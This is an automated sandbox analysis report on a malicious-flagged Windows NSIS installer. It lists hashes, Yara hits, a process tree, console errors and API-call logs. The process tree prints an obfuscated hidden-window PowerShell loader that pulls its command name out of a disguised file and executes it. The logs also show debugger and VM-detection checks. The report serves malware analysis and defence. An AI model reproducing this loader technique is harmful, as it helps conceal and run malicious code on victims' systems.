Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Oct. 1, 2024, 4:37 p.m.	Oct. 1, 2024, 4:39 p.m.

Size	967.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5	`450228d72f9f726b645c55bbbc6db905`
SHA256	`9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be`
CRC32	`DBA54EF8`
ssdeep	`12288:5Ly0W0exb+S7/6eALmQXhts30QmskXnnAEkINz3WSVgl:5Ly05wCmQXw30Ek3AgNz3Sl`
Yara	Malicious_Library_Zero - Malicious_Library NSIS_Installer - Null Soft Installer PE_Header_Zero - PE File Signature IsPE32 - (no description) UPX_Zero - UPX packed file

dllhost.exe "C:\Users\test22\AppData\Local\Temp\dllhost.exe"
2552
- powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\test22\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
  2700
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Oct. 1, 2024, 4:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 1, 2024, 4:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 1, 2024, 4:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 1, 2024, 4:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 1, 2024, 4:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 1, 2024, 4:37 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 1, 2024, 4:37 p.m.			0	0

Command line console output was observed (25 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: Get-Content : A parameter cannot be found that matches parameter name 'Raw'. console_handle: 0x00000023	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: At line:1 char:26 console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: + $krjning=Get-Content -Raw <<<< 'C:\Users\test22\AppData\Roaming\intercession console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: ate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubStrin console_handle: 0x00000047	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: g(5322,3);.$Lukewarmly95($krjning) console_handle: 0x00000053	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: + CategoryInfo : InvalidArgument: (:) [Get-Content], ParameterBin console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: dingException console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: + FullyQualifiedErrorId : NamedParameterNotFound,Microsoft.PowerShell.Comm console_handle: 0x00000077	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: ands.GetContentCommand console_handle: 0x00000083	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: You cannot call a method on a null-valued expression. console_handle: 0x000000a3	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: At line:1 char:152 console_handle: 0x000000af	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: + $krjning=Get-Content -Raw 'C:\Users\test22\AppData\Roaming\intercessionate\Fa console_handle: 0x000000bb	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: vourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString <<<< console_handle: 0x000000c7	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: (5322,3);.$Lukewarmly95($krjning) console_handle: 0x000000d3	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: + CategoryInfo : InvalidOperation: (SubString:String) [], Runtime console_handle: 0x000000df	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: Exception console_handle: 0x000000eb	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: + FullyQualifiedErrorId : InvokeMethodOnNull console_handle: 0x000000f7	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: The expression after '.' in a pipeline element produced an invalid object. It m console_handle: 0x00000117	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: ust result in a command name, script block or CommandInfo object. console_handle: 0x00000123	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: At line:1 char:162 console_handle: 0x0000012f	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: + $krjning=Get-Content -Raw 'C:\Users\test22\AppData\Roaming\intercessionate\Fa console_handle: 0x0000013b	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: vourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322 console_handle: 0x00000147	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: ,3);. <<<< $Lukewarmly95($krjning) console_handle: 0x00000153	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException console_handle: 0x0000015f	1	1
WriteConsoleW Oct. 1, 2024, 4:37 p.m.	buffer: + FullyQualifiedErrorId : BadExpression console_handle: 0x0000016b	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591140 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590d00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590d00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590d00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005915c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005916c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00590e40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 1, 2024, 4:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00591ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 1, 2024, 4:37 p.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.ndata

Allocates read-write-execute memory (usually to unpack itself) (50 out of 143 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73272000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:31 p.m.	process_identifier: 1452 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000004710000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02850000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72491000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72492000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02662000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02672000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a01000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a02000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02673000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02674000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02675000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02676000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a41000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a42000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a43000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a44000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a45000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a46000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a47000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a48000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a49000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a4a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a4b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a4c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a4d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a4e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 1, 2024, 4:37 p.m.	process_identifier: 2700 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a4f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
